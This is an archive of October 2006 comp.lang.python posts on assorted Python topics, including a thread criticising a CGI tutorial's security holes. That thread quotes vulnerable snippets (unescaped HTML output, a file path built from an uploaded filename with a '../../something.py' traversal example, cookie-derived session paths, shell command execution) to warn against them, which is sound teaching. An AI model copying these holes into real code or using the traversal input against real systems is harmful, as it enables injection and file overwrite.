	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<sJrXg.46560$DU3.23285@tornado.texas.rr.com>
	<7xvempiq12.fsf@ruckus.brouhaha.com>
Message-ID: <slrneisjrl.tk.horpner@FIAD06.norwich.edu>

On 2006-10-12, Paul Rubin <http> wrote:
> Tarjan discovered a guaranteed O(n) algorithm in the 1970's(?)

Huhn!  I thought Tarjan was just the big bad evil guy in Bard's
Tale 2 who was creating eternal winter.  I'm glad he also
contributed to our stock of *useful* algorithms.

-- 
Neil Cerutti
We will not have an all volunteer army.  We *will* have an all
volunteer army. --George W. Bush


From steve at holdenweb.com  Thu Oct  5 14:39:08 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 19:39:08 +0100
Subject: CGI Tutorial
In-Reply-To: <1160071257.200774.90900@e3g2000cwe.googlegroups.com>
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
	<1160071257.200774.90900@e3g2000cwe.googlegroups.com>
Message-ID: <eg3jep$ebb$1@sea.gmane.org>

and-google at doxdesk.com wrote:
> Clodoaldo Pinto Neto wrote:
> 
> 
>>print '<p>The submited name was "' + name + '"</p>'
> 
> 
> Bzzt! Script injection security hole. See cgi.escape and use it (or a
> similar function) for *all* text -> HTML output.
> 
> 
>>open('files/' + fileitem.filename, 'w')
> 
> 
> BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
> code execution. clue: fileitem.filename= '../../something.py'
> 
Technically this subclass of canonicalization error is known as a 
directory traversal bug.
> 
>>sid = cookie['sid'].value
>>session = shelve.open('/tmp/.session/sess_' + sid
> 
> 
> Bad filename use allows choice of non-session files, opening with
> shelve allows all sorts of pickle weirdnesses. Just use strings.
> 
> 
>>p = sub.Popen(str_command,
> 
> 
> o.O
> 
> Sure this stuff may not matter for Hello World on a test server, but if
> you're writing a tutorial you should ensure newbies know the Right Way
> to do it from the start. The proliferation of security-oblivious PHP
> tutorials is directly responsible for the disasterous amount of
> script-injection- and SQL-injection-vulnerable webapps out there -
> let's not have the same for Python.
> 

I was teaching this week's class about SQL injection vulnerabilities 
earlier today. One student mentioned estimates that *11%* of all 
Internet web sites are vulnerable to such exploits. Another, a 
policeman, pointed out that he'd had news just today of an injection 
exploit on a major credit card company's web site. The number of credit 
card numbers harvested by the attack has not yet been announced.

Credit card numbers should be encrypted in the database, of course, but 
they rarely are (even by companies whose reputations imply they ought to 
know better).

Yup, in the wacky world of the 21st century web if a thing's worth doing 
it's worth screwing up completely ...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From http  Wed Oct 25 03:11:19 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 00:11:19 -0700
Subject: Sorting by item_in_another_list
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<mailman.1150.1161760087.11739.python-list@python.org>
Message-ID: <7xods0vpig.fsf@ruckus.brouhaha.com>

Fredrik Lundh <fredrik at pythonware.com> writes:
> >   desired_result = B + sorted(x for x in A if x not in B)
> assuming that "keep the existing order" means what it says, you might
> as well replace "sorted" with a list comprehension.

Hmm.  I didn't read it that way, but yeah, if that's what the OP meant
then the sort could be skipped.  I thought he just wanted a stable
sort, which the sorting primitives now promise.


From kbk at shore.net  Sat Oct  7 00:18:50 2006
From: kbk at shore.net (Kurt B. Kaiser)
Date: Sat, 7 Oct 2006 00:18:50 -0400 (EDT)
Subject: Weekly Python Patch/Bug Summary
Message-ID: <200610070418.k974IoNN008046@bayview.thirdcreek.com>

Patch / Bug Summary
___________________

Patches :  428 open ( +6) /  3417 closed ( +2) /  3845 total ( +8)
Bugs    :  939 open ( +6) /  6229 closed (+17) /  7168 total (+23)
RFE     :  240 open ( +3) /   239 closed ( +0) /   479 total ( +3)

New / Reopened Patches
______________________

Speed up using + for string concatenation  (2006-10-02)
       http://python.org/sf/1569040  opened by  Larry Hastings

Speed-up in array_repeat()  (2006-10-02)
       http://python.org/sf/1569291  opened by  Lars Skovlund

Fix building the source within exec_prefix  (2006-10-03)
       http://python.org/sf/1569798  opened by  Matthias Klose

distutils - python 2.5 vc8 - non working setup  (2006-10-03)
CLOSED http://python.org/sf/1570119  opened by  Grzegorz Makarewicz

Fix for compilation errors in the 2.4 branch  (2006-10-03)
CLOSED http://python.org/sf/1570253  opened by  ?iga Seilnacht

qtsupport.py mistake leads to bad _Qt module  (2006-10-04)
       http://python.org/sf/1570672  opened by  Jeff Senn

Generate numeric/space/linebreak from Unicode database.  (2006-10-05)
       http://python.org/sf/1571184  opened by  Anders Chrigstr?m

make trace.py --ignore-dir work  (2006-10-05)
       http://python.org/sf/1571379  opened by  Clinton Roy

Patches Closed
______________

distutils - python 2.5 vc8 - non working setup  (2006-10-03)
       http://python.org/sf/1570119  closed by  loewis

Fix for compilation errors in the 2.4 branch  (2006-10-03)
       http://python.org/sf/1570253  closed by  loewis

New / Reopened Bugs
___________________

Test for uintptr_t seems to be incorrect  (2006-10-01)
CLOSED http://python.org/sf/1568842  opened by  Ronald Oussoren

http redirect does not pass 'post' data  (2006-10-02)
CLOSED http://python.org/sf/1568897  opened by  hans_moleman

'all' documentation missing online  (2006-09-26)
CLOSED http://python.org/sf/1565797  reopened by  aisaac0

Using .next() on file open in write mode writes junk to file  (2006-10-01)
       http://python.org/sf/1569057  opened by  andrei kulakov

External codecs no longer usable  (2006-10-02)
CLOSED http://python.org/sf/1569084  opened by  Ivan Vilata i Balaguer

sys.settrace cause curried parms to show up as attributes  (2006-10-02)
       http://python.org/sf/1569356  opened by  applebucks

sys.settrace cause curried parms to show up as attributes  (2006-10-02)
CLOSED http://python.org/sf/1569374  opened by  applebucks

PGIRelease linkage fails on pgodb80.dll  (2006-10-02)
       http://python.org/sf/1569517  opened by  Coatimundi

Backward incompatibility in logging.py  (2006-10-02)
CLOSED http://python.org/sf/1569622  opened by  Mike Klaas

datetime.datetime subtraction bug  (2006-10-02)
CLOSED http://python.org/sf/1569623  opened by  David Fugate

mailbox.Maildir.get_folder() loses factory information  (2006-10-03)
       http://python.org/sf/1569790  opened by  Matthias Klose

distutils don't respect standard env variables  (2006-10-03)
CLOSED http://python.org/sf/1569886  opened by  Lukas Lalinsky

2.5 incorrectly permits break inside try statement  (2006-10-04)
CLOSED http://python.org/sf/1569998  opened by  Nick Coghlan

redirected cookies  (2006-10-04)
       http://python.org/sf/1570255  opened by  hans_moleman

Launcher reset to factory button provides bad command-line  (2006-10-03)
       http://python.org/sf/1570284  opened by  jjackson

2.4 & 2.5 can't create win installer on linux  (2006-10-04)
       http://python.org/sf/1570417  opened by  Richard Jones

_ssl module can't be built on windows  (2006-10-05)
CLOSED http://python.org/sf/1571023  opened by  ?iga Seilnacht

simple moves freeze IDLE  (2006-10-04)
       http://python.org/sf/1571112  opened by  Douglas W. Goodall

Some numeric characters are still not recognized  (2006-10-05)
       http://python.org/sf/1571170  opened by  Anders Chrigstr?m

round() producing -0.0  (2006-10-05)
CLOSED http://python.org/sf/1571620  opened by  Ron Frye

Building using Sleepycat db 4.5.20 is broken  (2006-10-05)
       http://python.org/sf/1571754  opened by  Robert Scheck

email module does not complay with RFC 2046: CRLF issue  (2006-10-05)
       http://python.org/sf/1571841  opened by  Andy Leszczynski

.eml attachments in email  (2006-10-06)
       http://python.org/sf/1572084  opened by  rainwolf8472

parser stack overflow  (2006-10-06)
       http://python.org/sf/1572320  opened by  j?rgen urner

csv "dialect = 'excel-tab'" to use excel_tab  (2006-10-06)
       http://python.org/sf/1572471  opened by  Dan Goldner

Bugs Closed
___________

Test for uintptr_t seems to be incorrect  (2006-10-01)
       http://python.org/sf/1568842  closed by  loewis

http redirect does not pass 'post' data  (2006-10-01)
       http://python.org/sf/1568897  closed by  loewis

Spurious Tabnanny error  (2006-09-21)
       http://python.org/sf/1562716  closed by  kbk

Spurious Tab/space error  (2006-09-21)
       http://python.org/sf/1562719  closed by  kbk

plistlib should be moved out of plat-mac  (2003-07-29)
       http://python.org/sf/779460  closed by  gbrandl

Pythonw doesn't get rebuilt if version number changes  (2006-09-05)
       http://python.org/sf/1552935  closed by  sf-robot

'all' documentation missing online  (2006-09-26)
       http://python.org/sf/1565797  closed by  loewis

External codecs no longer usable  (2006-10-02)
       http://python.org/sf/1569084  closed by  lemburg

sys.settrace cause curried parms to show up as attributes  (2006-10-02)
       http://python.org/sf/1569374  closed by  gbrandl

Backward incompatibility in logging.py  (2006-10-02)
       http://python.org/sf/1569622  closed by  vsajip

datetime.datetime subtraction bug  (2006-10-02)
       http://python.org/sf/1569623  closed by  tim_one

Output of KlocWork on Python2.4.3 sources  (2006-05-09)
       http://python.org/sf/1484556  closed by  loewis

possible bug in mystrtol.c with recent gcc  (2006-07-13)
       http://python.org/sf/1521947  closed by  arigo

gcc trunk (4.2) exposes a signed integer overflows  (2006-08-24)
       http://python.org/sf/1545668  closed by  arigo

distutils don't respect standard env variables  (2006-10-03)
       http://python.org/sf/1569886  closed by  loewis

2.5 incorrectly permits break inside try statement  (2006-10-03)
       http://python.org/sf/1569998  closed by  jhylton

_ssl module can't be built on windows  (2006-10-05)
       http://python.org/sf/1571023  closed by  loewis

round() producing -0.0  (2006-10-05)
       http://python.org/sf/1571620  closed by  rhettinger

New style classes and __hash__  (2002-12-30)
       http://python.org/sf/660098  closed by  gvanrossum

New / Reopened RFE
__________________

Improvements to socket module exceptions  (2006-10-06)
       http://python.org/sf/1571878  opened by  GaryD

help(x) for for keywords too  (2006-10-06)
       http://python.org/sf/1572210  opened by  Jim Jewett



From no-spam at no-spam-no-spam.com  Sat Oct 28 07:29:18 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Sat, 28 Oct 2006 13:29:18 +0200
Subject: what are the most frequently used functions?
In-Reply-To: <1162020254.660829.124900@e3g2000cwe.googlegroups.com>
References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com>
Message-ID: <ehvevg$614$1@news.albasani.net>

Xah Lee wrote:
> I had a idea today.
> 
> I wanted to know what are the top most frequently used functions in the
> emacs lisp language. I thought i can write a quick script that go thru
> all the elisp library locations and get a word-frequency report i want.
> 
> I started with a simple program:
> http://xahlee.org/p/titus/count_word_frequency.py
> 
> and applied it to a Shakespeare text. Here's a sample result:
> http://xahlee.org/p/titus/word_frequency.html
> 
> Then, i wrote a more elaborate one that recurse thru directories to
> work on elisp code treasury.
> 
> The code is here:
> http://xahlee.org/x/count_word_frequency.py
> 
> and i got a strange result. The word ?the? appeared on the top,
> along with many other English words. I quickly realized that these are
> due to lisp function's doc strings. (not comments)

Would be interesting to see if the type-checking "The" in lisp is still frequent. I doubt.

> At this point, it dawned on me that there's no easy way to work around
> this, Unless, i write this script in elisp which has functions that
> read lisp code and can easily filter out doc strings.
> 
> Originally, i planned to use the word-frequency script on Perl, Python,
> as well as Java, as well as Elisp. However, now it seems to me this
> task is nigh impossible. Each of these lang has their own doc string
> syntax. It's gonna be a heavy undertaking if the word-frequency script
> is to work with all these langs, since that amounts to writing a parser
> for each lang.
> 
> Alternatively, one can write multiple word-frequency scripts using each
> lang in question, since most lang has facilities to deal with its own
> syntax. However, this is still not trivial, and amounts to several
> programing efforts.

Editor code (best maybe scintilla/sc1, check also emacs itself, ...) has libraries for colorizing comments in all kinds of programming langs ...

> Anyone would be interested in this problem?

I have a theory, that "bad source code" has more if/else/elif/case/switch dispatching statements per number of code words (lines..) than "good code" - independent of the language.

If you can count these ratio and correlate it to maybe a sf-ranking and to languages, that would be highly interesting for me... (in case drop a pointer in this thread / repeated subject)



-robert


From paul at boddie.org.uk  Tue Oct 24 05:35:22 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 24 Oct 2006 02:35:22 -0700
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
References: <mailman.813.1161325547.11739.python-list@python.org>
	<ehffhc$r05$1@news.albasani.net>
	<mailman.997.1161629341.11739.python-list@python.org>
	<ehjah5$bfm$1@news.albasani.net>
	<453d4890$0$22566$9b622d9e@news.freenet.de>
Message-ID: <1161682522.256752.56630@i42g2000cwa.googlegroups.com>

Martin v. L?wis wrote:
> Georg Brandl schrieb:
> > Perhaps you can bring up a discussion on python-dev about your improvements
> > and how they could be integrated into the standard library...
>
> Let me second this. The compiler package is largely unmaintained and
> was known to be broken (and perhaps still is). A replacement
> implementation, especially if it comes with a new maintainer, would
> be welcome.

I don't agree entirely with the "broken" assessment. Although I'm not
chasing the latest language constructs, the AST construction part of
the package seems good enough to me, and apparent bugs like duplicate
parameters in function signatures are actually documented shortcomings
of the functionality provided. I certainly don't like the level of code
documentation; from the baroque compiler.visitor, for example:

# XXX should probably rename ASTVisitor to ASTWalker
# XXX can it be made even more generic?

However, a cursory scan of the bugs filed against the compiler module,
trying hard to filter out other compiler-related things, reveals that
most of the complaints are related to code generation, and the
compiler2 module appears to be squarely aimed at this domain.

I find the compiler package useful - at least the bits not related to
code generation - and despite apparent unawareness of its existence in
the community (judging from observed usage of the parser and tokenizer
modules in cases where the compiler module would have been more
appropriate), I'd be unhappy to see it dropped.

Paul



From steve at REMOVE.THIS.cybersource.com.au  Sun Oct 29 07:22:59 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sun, 29 Oct 2006 23:22:59 +1100
Subject: question about True values
References: <1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<1161973508.972142.109500@i42g2000cwa.googlegroups.com>
	<pan.2006.10.28.07.45.14.198030@REMOVE.THIS.cybersource.com.au>
	<1162031090.711952.228280@m7g2000cwm.googlegroups.com>
	<pan.2006.10.28.22.10.57.345329@REMOVE.THIS.cybersource.com.au>
	<1162107083.907729.127120@f16g2000cwb.googlegroups.com>
Message-ID: <pan.2006.10.29.12.22.58.859817@REMOVE.THIS.cybersource.com.au>

On Sun, 29 Oct 2006 00:31:23 -0700, Carl Banks wrote:

> Steven D'Aprano wrote:
>> Carl Banks:
>> > Overall, your objections don't really apply, since you're arguing what
>> > ought to be whereas my argument is pragmatic.  Practically speaking, in
>> > realistic situations, "if len(a)>0" will work for a wider range of types
>> > than "if a:".
>>
>> Well, that's a quantitative claim you're making there. Have you
>> actually gone through, say, the built in types and checked how many
>> have a length versus how many work in a truth-context?
> 
> No, and it's irrelevant to my argument.

And yet you not only made the claim in the first place, but you also spend
a good half or three quarters of your response justifying your claim. You
obviously didn't think it was irrelevant when you first made the claim,
and you clearly still don't think it was irrelevant now that you've spent
time checking an arbitrary set of types. Either way, you're still wrong.

"if a:" will work with EVERY TYPE except those few (the only one?) like
numpy arrays which deliberately raise an exception because they don't make
sense in a Boolean context. (And even then, arguably numpy is doing the
wrong thing: the Pythonic behaviour would be for numpy arrays to all
be True.)

"if len(a)>0:" can only work with types that have lengths. It is a logical
necessity that the number of types that have lengths must be no bigger
than the number of types in total, numpy arrays notwithstanding.



> For some reason, people seem to think it's absolutely wonderful that
> you can write "if X:" somewhere, and that this "works" whether X is a
> list or an int or any other object, as if "working" for both ints and
> lists was actually useful.
> 
> Well, it's not.
> 
> You see, presumably you have to do something with X.  And in realistic
> code, there's not a lot of stuff you can do with that works for both
> container types like lists and dict, and atomic types like ints and
> floats.  

Who cares whether or not your function accepts mixed data types like lists
and floats? Why do you think it matters whether the one function has to
operate on both sequences and atomic types?

What *does* matter is that, regardless of whether you are operating on
sequences, mappings, numeric types, the same syntax works.

That's why (for example) Python allows + to operate on lists, or strings,
or floats -- but that doesn't imply that you can add a list to a float,
or that the same code will operate happily on both lists and floats. You,
the developer, don't need to care what data types you are adding, you just
use the same syntax: a+b. The objects themselves know what addition
means to themselves. In practice, string addition threatens to be so
inefficient that you might wish to avoid doing it, but as a general
principle, Python idioms and syntax are as type-independent as possible.

That's why obj[index] works whether you are getting or setting or deleting
an item, whether it is a sequence or a mapping or a custom class. As much
as possible, you don't need to know what the object is to know what syntax
to use. The idiom for item-access should always be obj[index], not
obj[index] for some types, obj.get(index) for some others, and
getitem(obj, index) for the rest.

(Custom classes are, of course, free to break these guidelines, just as
the numpy developers were free to have __nonzero__ raise an exception. One
hopes they have good reasons for doing so.)

And that's why Python not only allows but prefers "if any_object_at_all:"
over type-dependent tricks. The *object itself* is supposed to know
whether it is equivalent to true or false (or, in rare cases like numpy
arrays, raise an exception if truth-testing doesn't mean anything for the
type). You, the developer, are not supposed to spend your time wondering
how to recognise if the object is equivalent to false, you just ask the
object.

If some well-meaning person argued that the correct way to test for a
numeric value of zero/non-zero was like this:

if x*2 != x:
    # x must be non-zero

you'd fall down laughing (at least, I hope you'd fall down laughing). Yes,
such a test works, but you'd be crazy to do such unnecessary work if all
you want to know if x was nonzero. (And beware of floating point rounding:
what if x is tiny?)

And then someone passes a class that implements infinity or the alephs to
this function (that could simply mean an INF float on a platform that
supports the IE standard) and the code wrongly decides that INF is zero.
Oops.

"if x == 0:" is better, but still not good enough, because you're
still making assumptions about the data type. What if it is a numeric type
that works with interval arithmetic? You don't know what the right way to
test for a False interval is -- but the interval class itself will know.

And that's the point -- you're making unnecessary assumptions about the
data, *and* doing unnecessary calculations based on those assumptions. At
best, you're wasting your time. At worst, you're introducing bugs.

It isn't often that I make an appeal to authority, but this is one of
them. No offense, but when it comes to language design its a brave or
foolish programmer who bucks the language idioms that Guido chose.



-- 
Steven.



From raduciurlea at gmail.com  Sat Oct 28 09:42:32 2006
From: raduciurlea at gmail.com (Radu Ciurlea)
Date: 28 Oct 2006 06:42:32 -0700
Subject: Sending mouse events on Windows
In-Reply-To: <mailman.1398.1162030541.11739.python-list@python.org>
References: <1162029636.137310.103130@f16g2000cwb.googlegroups.com>
	<mailman.1398.1162030541.11739.python-list@python.org>
Message-ID: <1162042952.111871.185830@b28g2000cwb.googlegroups.com>

Looks good, but I downloaded it and it's not that helpful. It can only
simulate clicks to interface objects. I need to actually move the mouse
pointer around. I just want to write a small app that'll enable me to
use my mobile phone as a mouse via Bluetooth, but not being able to
move the pointer kind of holds me back :)

Radu

On Oct 28, 1:15 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> Radu Ciurlea wrote:
> > I want to write a program that can generate mouse events. I'd like to
> > actually be able to control the pointer and generate clicks. Any
> > pointers on modules I could use for doing this? Any suggestions are
> > welcome.something like
>
>      http://www.tizmoi.net/watsup/intro.html
> 
> might be useful.
> 
> </F>



From fredrik at pythonware.com  Fri Oct  6 02:15:40 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 08:15:40 +0200
Subject: socket client server... simple example... not working...
In-Reply-To: <1160056909.927803.251790@i42g2000cwa.googlegroups.com>
References: <1160015498.917617.256110@c28g2000cwb.googlegroups.com>	<mailman.1310.1160016608.10491.python-list@python.org>
	<1160056909.927803.251790@i42g2000cwa.googlegroups.com>
Message-ID: <eg4sab$sog$1@sea.gmane.org>

SpreadTooThin wrote:

> but why is it every time I try to do something with 'stock' python I
> need another package?

it's well known that all problems known to man can be solved by down- 
loading Twisted, PyParsing, the Stream Editor, or that other programming 
language that cannot be named.

</F>



From deets at nospam.web.de  Fri Oct  6 07:17:50 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 06 Oct 2006 13:17:50 +0200
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <eg59pp$9pk$1@south.jnrs.ja.net>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>
	<mailman.1388.1160089812.10491.python-list@python.org>
	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>
	<4omn7jFfe26cU1@uni-berlin.de> <eg59pp$9pk$1@south.jnrs.ja.net>
Message-ID: <4omsb8Ff43rtU1@uni-berlin.de>

Richard Brodie schrieb:
> "Diez B. Roggisch" <deets at nospam.web.de> wrote in message 
> news:4omn7jFfe26cU1 at uni-berlin.de...
> 
>> This is on the same level of interest to the communities of python, ruby & java as the 
>> color of my socks this morning - a deep black with cute little skulls imprinted.
> 
> I did find Andy's claim that he expected contributors to sing a
> copyright transfer agreement somewhat unreasonable. It would
> depend on the tune though, I guess. 

There are lots of people out there how require such things, and it might 
even be for malicious reasons sometimes - not that I'm aware of that in 
the current case, mind you! There are plenty of good reasons to do so as 
well.

The point here is: nobody is forced to sign such agreement, breakout is 
not an effort that has any importance for the python, let alone all 
three communities, and this is a totally private matter between two 
people. Maybe fellow co-developers are interested, but then there should 
be an email list.

And as Illias has a history of postings that claim others post 
containing irrelevant stuff - either to him, or in general - he is on 
very thin ice here.

Diez


From Eric_Dexter at msn.com  Tue Oct  3 08:36:57 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 3 Oct 2006 05:36:57 -0700
Subject: anyone make any non-wx python plugins for boa-constructor
Message-ID: <1159879017.901183.212120@k70g2000cwa.googlegroups.com>

     I was looking at vpython and it would seem to be an easy thing to
add to boa-constuctors classes but I am not sure if that is possible
within the boa-constructor interface.  Is it possible to do without
combining it with wxwindows??  Is there any examples besides the simple
one that comes with the software??  I haven't seen any in google.


http://www.dexrow.com



From hanumizzle at gmail.com  Wed Oct 18 03:28:06 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 18 Oct 2006 03:28:06 -0400
Subject: How to convert this list to string?
In-Reply-To: <1161156050.529095.204770@e3g2000cwe.googlegroups.com>
References: <1161156050.529095.204770@e3g2000cwe.googlegroups.com>
Message-ID: <463ff4860610180028p1efeda12y832be69169e488dd@mail.gmail.com>

On 18 Oct 2006 00:20:50 -0700, Jia Lu <Roka100 at gmail.com> wrote:

> I want to get a string "2 3"
>
> >>> str(list[1:])
> '[2, 3]'
>
> How can I do that ?

' '.join(str(i) for i in list[1:])

-- Theerasak


From HardToSpell at gmail.com  Fri Oct 27 10:40:43 2006
From: HardToSpell at gmail.com (Brian Mills)
Date: 27 Oct 2006 07:40:43 -0700
Subject: Printing Hidden Character in Python
In-Reply-To: <mailman.1356.1161957732.11739.python-list@python.org>
References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net>
	<mailman.1356.1161957732.11739.python-list@python.org>
Message-ID: <1161960043.089150.211210@i42g2000cwa.googlegroups.com>


Fulvio wrote:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
>
>
> On Thursday 26 October 2006 16:43, Wijaya Edward wrote:
> > How can we print out the hidden character like
> > "\n", "\r" etc in Python?
>
> If it's meant to evidentiate then you should scan each byte an print it out
> i.e.
> o = open('yourfile'.'rb')
>
> >>> o = open('paths.con','rb')
> >>> for c in o.read():
> ...  if c == '\n':
> ...   print '\\n'
> ...  if c == '\r':
> ...   print '\\r'
> ...  print c,
> ...
> unfortunately it will be a space between each letter. Maybe using
> sys.stderr.write (c) will avoid that.
>
> F

Or sys.stdout.write(c).  If efficiency is a major issue, you may also
want to look into the re module's regular expression substitution model
to get a new, converted string before printing it.



From webmaster at cacradicalgrace.org  Tue Oct 31 00:44:11 2006
From: webmaster at cacradicalgrace.org (J. Clifford Dyer)
Date: Mon, 30 Oct 2006 22:44:11 -0700
Subject: scared about refrences...
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.19.32.25.538858@gmx.net>
	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>
	<1162248250.994200.13450@m7g2000cwm.googlegroups.com>
	<ei60go$ngb$1@web.aioe.org>
	<1162254191.507805.276640@k70g2000cwa.googlegroups.com>
Message-ID: <ei6o2u$9sq$1@web.aioe.org>

SpreadTooThin wrote:
> J. Clifford Dyer wrote:
>> SpreadTooThin wrote:
>>> Steven D'Aprano wrote:
>>>> On Mon, 30 Oct 2006 13:10:47 -0800, SpreadTooThin wrote:
>>>>
>>>>
>>> I seems that some of the objects in the list don't get along well with
>>> deep copy..
>>> See my second example post that used deepcopy... When run blows up...
>>>
>> When it blows up, is there a lot of shrapnel, or just smoke and fire?
>> Is the shrapnel mostly metal, or is it plastic and glass?
>>
>> In short, if we don't know what's happening, we can't help.
>> * Did the program spit out a bunch of text you didn't understand?
>>    If so, show us the text.  That text may be incomprehensible at first,
>>    but it contains crucial clues.
>>
>> * Did it close your python window without a word?
>>    Tell us.
>>
>> * Did your computer freeze up?
>>    Tell us.
>>
>> If you don't tell us what went wrong *exactly*, you won't get a
>> satisfactory answer.
>>
> 
> I would assume that looking at the code you should be able to tell..
> Silly me..  Here.. is the log.. If I were helping.. I would have cut
> and pasted the code myself and ran it.. instead of trying to interpret
> this...

I know it seems unnecessary to post the traceback when I could get the
same thing by running your code on my machine, but it's actually useful,
for a couple reasons:  First, when I run the code, I might not get an
error, or if I do, it might not be the same error you were getting, and
then we'd be on a wild goose chase.  This could be because your python
installation is goofy, or because you copied in your code incorrectly.
Shit happens, and I'd rather not even start down one of those blind
alleys.  Third, it provides a useful frame for how to look at your
code.  While a traceback might look like a big mess at first, it's
actually pretty easy to skim through once you get used to it, and it
tells me where to focus my attention in your code.

> 
> array('H', [1, 2, 3]) ['a', 'b', 'c']
> Traceback (most recent call last):
>   File
> "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py",
> line 1806, in runMain
>     self.dbg.runfile(debug_args[0], debug_args)
>   File
> "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py",
> line 1529, in runfile
>     h_execfile(file, args, module=main, tracer=self)
>   File
> "/Volumes/Data/Users/bjobrien/Applications/Komodo.app/Contents/SharedSupport/dbgp/pythonlib/dbgp/client.py",
> line 590, in __init__
>     execfile(file, globals, locals)
>   File "/Volumes/Data/Users/bjobrien/Desktop/pythonDICOM/Text-1.py",
> line 20, in __main__
>     test(t)
>   File "/Volumes/Data/Users/bjobrien/Desktop/pythonDICOM/Text-1.py",
> line 16, in test
>     t = copy.deepcopy(x)
>   File
> "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
> line 174, in deepcopy
>     y = copier(x, memo)
>   File
> "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
> line 305, in _deepcopy_inst
>     state = deepcopy(state, memo)
>   File
> "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
> line 174, in deepcopy
>     y = copier(x, memo)
>   File
> "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
> line 268, in _deepcopy_dict
>     y[deepcopy(key, memo)] = deepcopy(value, memo)
>   File
> "/Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/copy.py",
> line 185, in deepcopy
>     y = copier(x, memo)
> TypeError: __deepcopy__() takes no arguments (1 given)
> 
> 
> 
>> Cheers,
>> Cliff
> 

Thanks, that's very helpful.  Playing with your code a bit, I narrowed 
the problem down to the array.array() structure.  Looking at 
help(array), there's a method defined called __deepcopy__, which, it 
seems, takes no arguments, while deepcopy is passing it one argument. 
Looks like a bug in the array module to me.  Maybe others with more 
experience using array will have some deeper insight.


Cheers,
Cliff


From hpsekhon at googlemail.com  Thu Oct  5 07:40:11 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Thu, 05 Oct 2006 12:40:11 +0100
Subject: excepthook doesn't give exact line number
In-Reply-To: <eftt06$sro$03$1@news.t-online.com>
References: <mailman.1164.1159880567.10491.python-list@python.org>
	<eftt06$sro$03$1@news.t-online.com>
Message-ID: <4524EF1B.2040004@googlemail.com>

Thanks for the pointer, I've now got this giving me the right line 
number when an exception occurs, although I still get an empty stack 
trace from

print "Stack Trace:\n%s\n" % str(traceback.print_exc(2))

inside the excepthook.

Any ideas why this is?

Is there no traceback since the traceback was fed to the excepthook? Is 
there another way of getting the traceback like you see when the 
exception isn't caught?

Thanks for the help.

-h

Hari Sekhon



Peter Otten wrote:
> Hari Sekhon wrote:
>
>   
>> The problem is that the excepthook gives the line of the topmost called
>> function rather that the actual line that generated the error the way
>> you get it with a normal traceback.
>>     
>
> A look into the traceback module shows that tracebacks are stored as a
> linked list. Here's a way to get hold of its tail:
>
> def tbiter(tb):
>     while tb is not None:
>         yield tb
>         tb = tb.tb_next
>
> def last(items):
>     for  item in items:
>         pass
>     return item
>
> # example usage
> def myexcepthook(type, value, tb):
>     tb_tail = last(tbiter(tb))
>     print tb_tail.tb_lineno
>  
> Peter
>   
-------------- next part --------------
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From __peter__ at web.de  Mon Oct 23 05:12:34 2006
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Oct 2006 11:12:34 +0200
Subject: is it a bug ?
